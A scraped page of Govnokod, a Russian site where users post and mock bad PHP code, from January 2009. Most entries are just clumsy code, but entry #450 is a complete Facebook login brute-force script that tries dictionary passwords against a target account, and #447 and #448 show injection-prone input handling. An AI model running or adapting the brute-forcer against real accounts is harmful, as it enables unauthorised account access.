1. PHP / Говнокод #452

    +34.7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    } else {
    					$json_array = array('error'	=> $this->log_error('busy', true));
    				}
    			} else {
    				$json_array = array('error'	=> $this->log_error('busy', true));
    			}
    		} else {
    			$json_array = array('error'	=> $this->log_error('busy', true));
    		}
    	} else {
    		$json_array = array('error'	=> $this->log_error('busy', true));
    	}
    	
    	} else {
    		$json_array = array('error'	=> $this->log_error('bad_symbols', false));
    	}
    } else {
    	$json_array = array('error'	=> $this->log_error('check_error', false));
    						//	'errorStr'	=> $this->validation->error_string
    }

    Кусок метода в контроллере регистрации пользователя на одном из наших проектов. Вверху хренова гора ифов а внизу во такое вот счастье. "Авторская" табуляция сохранена

    guest, 25 Января 2009

    Комментарии (1)
  2. PHP / Говнокод #450

    +19.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    <? 
    ################################ 
    # Face Book Brute Forcer 
    ################################ 
    set_time_limit(0); 
    $username ="[email protected]"; // username to brute force 
    $dictionary ="dictionary.txt"; // need dictionary to password list 
     
    function kontrol($kullaniciadi,$sifre){ 
    $useragent = "Opera/9.21 (Windows NT 5.1; U; tr)"; 
    $data = "email=$kullaniciadi&pass=$sifre&login=Login" ; 
    $ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php'); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); 
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); 
    $source=curl_exec ($ch); 
    curl_close ($ch); 
    if(eregi("Home</title>",$source)){return true;} else {return false;} 
     
    } 
     
    if(!is_file($dictionary)){echo "$dictionary is not file";exit;} 
    $lines=file($dictionary); 
    echo "Attack Starting..<br>"; 
    sleep(10); 
    echo "Attack Started, brute forcing..<br>"; 
    foreach($lines as $line){ 
    $line=str_replace("\r","",$line); 
    $line=str_replace("\n","",$line); 
    if(kontrol($username,$line)){echo "<font face=tahoma color=green>[+]</font><font face=tahoma> username:$username , password:$line - P 
    assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;} 
    else{echo "<font face=tahoma color=brown>[-]</font><font face=tahoma> username:$username , password:$line - Password not found :  
    $line</font><br>";} 
    } 
    ?>

    guest, 23 Января 2009

    Комментарии (6)
  3. PHP / Говнокод #448

    +28

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    $query = "update users set password = '{$cnf['userpass']}', email = '{$cnf['useremail']}' where login = 'root'";
    if (mysql_query($query, $link) === false) {
         throw new Exception(mysql_error($link));
    }
    mysql_close($link);

    удалить)

    guest, 23 Января 2009

    Комментарии (1)
  4. PHP / Говнокод #447

    +16.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    <?php
    $openchatdb=fopen("chat.db","a");  -имя базы
    $chatnick=$_POST['chatnick'];
    $chatmsg=$_POST['chatmsg'];
    if(fwrite($openchatdb,date("d.m.Y|G:i:s ").$chatnick." ")) -формат даты
    {
    if(fwrite($openchatdb,$chatmsg.chr(10)))
    {
    echo "Сообщение отправлено<meta http-equiv='refresh' content='1;url=add.php'>"; -текст о успешной отправки сообщения
    }
    }
    else
    {
    echo "Ошибка при отправлении сообщения,поставьте файлу chat.db правва 775"; -текст ошибки чата
    }
    fclose($openchatdb);
    ?>

    guest, 23 Января 2009

    Комментарии (2)
  5. PHP / Говнокод #446

    +30.7

    1. 1
    2. 2
    if (strlen(ini_get('safe_mode'))<1)
        ...

    Система ProBid

    guest, 23 Января 2009

    Комментарии (0)
  6. PHP / Говнокод #445

    +264.4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    <?php
    for($i=0;$i<10;$i++) {
    	for($i=0;$i<5;$i++) {
    		echo 'Какого х** зацикливает!!!!!!!';
    	}
    }
    ?>

    Каждый наверное наступал на эти грабли :)

    guest, 23 Января 2009

    Комментарии (51)
  7. PHP / Говнокод #444

    +23

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    <?php
    	class AppController extends Controller {
    	 
    	  var $uses = array('Config', "Cats");
    	 
    		  function beforeFilter() 
    		  {
    		    $config1 = $this->Config->find('list', array('fields'=>array('key', 'value')));
    		    $category1 = $this->Cats->findAll();
    		    
    		    $this->set(compact('config1'));
    		    $this->set(compact('category1'));
    		    
    		  }
    		  
    		  
    	}
    ?>

    тупой код =)

    guest, 23 Января 2009

    Комментарии (2)
  8. PHP / Говнокод #443

    +35.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    function ViewStar($prop){
    	switch ($prop) {
    	case 3:
    	    return "<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>";
    	    break;
    	case 4:
    	    return "<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>";
    	    break;
    	case 5:
    	    return "<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>
    				<img alt=\"Star\" src=\"".$z."images/star.gif\"/>";
    	    break;
    	}
    }

    Только что копался в старых исходниках.... эх, не знал про str_repeat

    guest, 23 Января 2009

    Комментарии (2)
  9. PHP / Говнокод #442

    +19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    // то что было
    
    /************************************
    return TRUE if version1 >= version2
    version1 = "XX.XX.XX"
    version2 = "XX.XX.XX"
    ************************************/
    function CheckVersion($version1, $version2)
    {
    	$arr1 = explode(".",$version1);
    	$arr2 = explode(".",$version2);
    	if (intval($arr2[0])>intval($arr1[0])) return false;
    	elseif (intval($arr2[0])<intval($arr1[0])) return true;
    	else
    	{
    		if (intval($arr2[1])>intval($arr1[1])) return false;
    		elseif (intval($arr2[1])<intval($arr1[1])) return true;
    		else
    		{
    			if (intval($arr2[2])>intval($arr1[2])) return false;
    			elseif (intval($arr2[2])<intval($arr1[2])) return true;
    			else return true;
    		}
    	}
    }
    
    // а я бы сделал вот так
    // причем при добавлении новой подверсии работоспособность не изменится
    
    function CheckVersion($version1, $version2)
    {
    	return (intval(str_replace('.','',$version1))>=intval(str_replace('.','',$version2))) ? true : false;
    }

    Просто шикарное решение от умов битрикса

    guest, 23 Января 2009

    Комментарии (6)
  10. PHP / Говнокод #441

    +11.6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    function SetFileAccessPermission($path, $arPermissions, $bOverWrite=true)
    	{
    		CMain::InitPathVars($site, $path);
    		$DOC_ROOT = CSite::GetSiteDocRoot($site);
    
    		if(strlen($path) <= 0)
    			$path="/";
    		if(($p = bxstrrpos($path, "/"))!==false)
    		{
    			$path_file = substr($path, $p+1);
    			$path_dir = substr($path, 0, $p);
    		}
    		else
    			return false;
    
    		if($path_file=="" && $path_dir=="")
    			$path_file = "/";
    
    		$PERM = Array();
    		if(file_exists($DOC_ROOT.$path_dir."/.access.php"))
    			@include($DOC_ROOT.$path_dir."/.access.php");
    		
    		$FILE_PERM = $PERM[$path_file];
    		if(!is_array($FILE_PERM))
    			$FILE_PERM=Array();
    
    		if(!$bOverWrite && count($FILE_PERM)>0)
    			return true;
    
    		$bDiff = false;
    
    		$str="<?\n";
    		foreach($arPermissions as $group=>$perm)
    		{
    			if(strlen($perm) > 0)
    				$str.="\$PERM[\"".$path_file."\"][\"".$group."\"]=\"".str_replace("\"", "\\\"", $perm)."\";\n";
    			if(!$bDiff && $FILE_PERM[$group]!=$perm)
    				$bDiff=true;
    		}
    
    		foreach($PERM as $file=>$arPerm)
    		{
    			if(strval($file) !==$path_file)
    				foreach($arPerm as $group=>$perm)
    					$str.="\$PERM[\"".$file."\"][\"".$group."\"]=\"".str_replace("\"", "\\\"", $perm)."\";\n";
    		}
    
    		if(!$bDiff)
    		{
    			foreach($FILE_PERM as $group=>$perm)
    				if($arPermissions[$group]!=$perm)
    				{
    					$bDiff==true;
    					break;
    				}
    		}
    
    		$str.="?".">";
    		
    		$this->SaveFileContent($DOC_ROOT.$path_dir."/.access.php", $str);
    		$GLOBALS["CACHE_MANAGER"]->CleanDir("menu");
    		unset($this->FILE_PERMISSION_CACHE[$site."|".$path_dir."/.access.php"]);
    		
    		if($bDiff)
    		{
    			$db_events = GetModuleEvents("main", "OnChangePermissions");
    			while($arEvent = $db_events->Fetch())
    				ExecuteModuleEvent($arEvent, Array($site, $path), $arPermissions);
    		}
    		return true;
    	}

    MegaLolnii bitrix
    самое смешное с 32 строчки

    guest, 23 Января 2009

    Комментарии (4)